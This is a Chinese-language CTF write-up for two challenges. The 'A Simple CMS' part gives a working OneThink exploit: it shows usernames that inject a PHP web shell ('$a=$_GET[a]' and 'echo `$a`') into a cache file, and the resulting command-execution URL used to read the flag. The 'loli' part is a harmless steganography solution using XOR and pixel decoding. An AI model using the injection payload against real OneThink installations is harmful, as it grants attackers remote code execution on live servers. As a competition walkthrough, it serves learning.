i春秋“巅峰极客”CTF A Simple CMS&loli WP

保证您更舒适的阅读体验和持续更新,本文已转移至我的个人博客,请您访问http://anemone.top/以确保您阅读的文章是最新版本,以及看到新的文章

i春秋办的CTF,自己太菜,在各种师傅提示下才做出来两题Orz,其他题目找机会复现吧。

A Simple CMS

看到网站是OneThink做的,百度搜了下该CMS存在漏洞,参考文章过程即可得到flag。但是其中的缓存文件做了修改,需要在本地复现一下,确定缓存文件名。

0x00

扫描网站敏感目录,发现www.zip文件:

0x01

下载文件,在本地构建复现环境,首先删除onethink/onethink/Application/Install/Data/install.lock文件,然后访问install.php

0x02

依次使用%0a$a=$_GET[a];// 和 <code>%0aecho `$a`;//</code> 注册账号,在依次登录账号,发现存在Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php文件,且文件内容如下:

<?php
//000000000000a:4:{s:2:"u1";s:13:"Administrator";s:2:"u3";s:6:"test12";s:2:"u4";s:15:"
$a=$_GET[a];//";s:2:"u5";s:13:"
echo `$a`;//";}
?>

说明我们的一句话上传成功,文件名为Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php,该文件名不改变。

0x03

在服务器上重复步骤2,getshell

在tmp目录下获取flag:

http://ddd27aa160354000ba7eba4b621e08cd9274bde410054da1.game.ichunqiu.com/Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag

loli

0x00

图片下载下来,根据题目hint(0xFF),想到使用0xFF异或整个文件,脚本如下:

#!/usr/bin/env python
# coding=utf-8

def xor():
    with open('./1.png', 'rb') as f, open('xor.png', 'wb') as wf:
        for each in f.read():
            wf.write(chr(ord(each) ^ 0xff))


if __name__ == '__main__':
    xor()

得到文件xor.png

0x01

使用二进制编辑器观察xor.png尾部,看到提示“black and white”,以及“IEND”标识,这是png的文件尾部,暗示该文件中隐藏了一个png文件。

end.png

使用 foremost 命令直接提取 (binwalk没卵用,感谢NaN师傅的提示Orz):

foremost xor.png
ls ./output/png|grep png
00006777.png

0x02

观察png文件,可以看到色块分为11列,每列隔行的色块永远是黑色,这说明应该横向读取图片,而列中的横长条由8个小色块组成,显然其代表的是一个字节的数据。

out.png

按上述思路提取该信息:

import matplotlib.image as mpimg  # mpimg 用于读取图片5:18

# png[y][x][rgb]

res_str = []
res = []


def readpng():
    png = mpimg.imread('./out.png')
    yy, xx, depth = png.shape
    for y in range(yy):
        if y % 2 == 0:
            for x in range(1, xx - 1, 9):
                _str = "0b" + str(int(png[y][x][0])) + str(int(png[y][x + 1][0])) + str(int(png[y][x + 2][0])) + str(int(png[y][x + 3][0])) + str(int(png[y][x + 4][0])) + str(int(png[y][x + 5][0])) + str(int(png[y][x + 6][0])) + str(int(png[y][x + 7][0]))
                res_str.append(_str)
                res.append(bin2hex(_str))
    print res_str
    with open('res.bin', 'wb') as f:
        for each in res:
            f.write(chr(each))


def bin2hex(_bin="0b101"):
    return int(_bin, 2) ^ 0xFF


if __name__ == '__main__':
    readpng()
    #  bin2hex("0b101")

生成的res.bin实际为文本文件,打开即可看到flag:

cat res.bin
Let's look this lyrics:The black sky hangs down,The bright stars follow,The insect winged insect flies,Who are you missing,The space star bursts into tears,The ground rose withers,The cold wind blows the cold wind to blow,So long as has you to accompany,The insect fly rests,A pair of pair only then beautiful,Did not fear darkness only fears brokenheartedly,No matter is tired,Also no matter four cardinal points.Emmmm,It looks like you don't care about this lyrics. Well, this is flag:flag{e0754197-e3ab-4d0d-b98f-96174c378a34}Let's look this lyric

注:相关文件已上传至GitHub

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 纯属抄袭,原地址http://www.cnblogs.com/test404/p/6660129.html 0x0...
    Sund4y阅读 10,097评论 0 5
  • 隐写术总结 AppLeU0·2015/02/10 10:14 http://drops.wooyun.org/ti...
    tmdsb38阅读 4,574评论 0 15
  • 这次Web。。。Orz真的做不出来啊!所以大佬们一出的wp就赶紧屁颠屁颠去复现了。。。复现完写下这些伪wp:(有些...
    Pr0ph3t阅读 2,073评论 0 5
  • 社会快速发展,科学技术飞快地迭代更新,我们唯有不断学习才能跟上时代前进的步伐。 网上看到一条信息,一位在高速路上收...
    记录自己的见闻阅读 337评论 0 0
  • You think how august it will look in print It would make ...
    zhangrong2阅读 169评论 0 0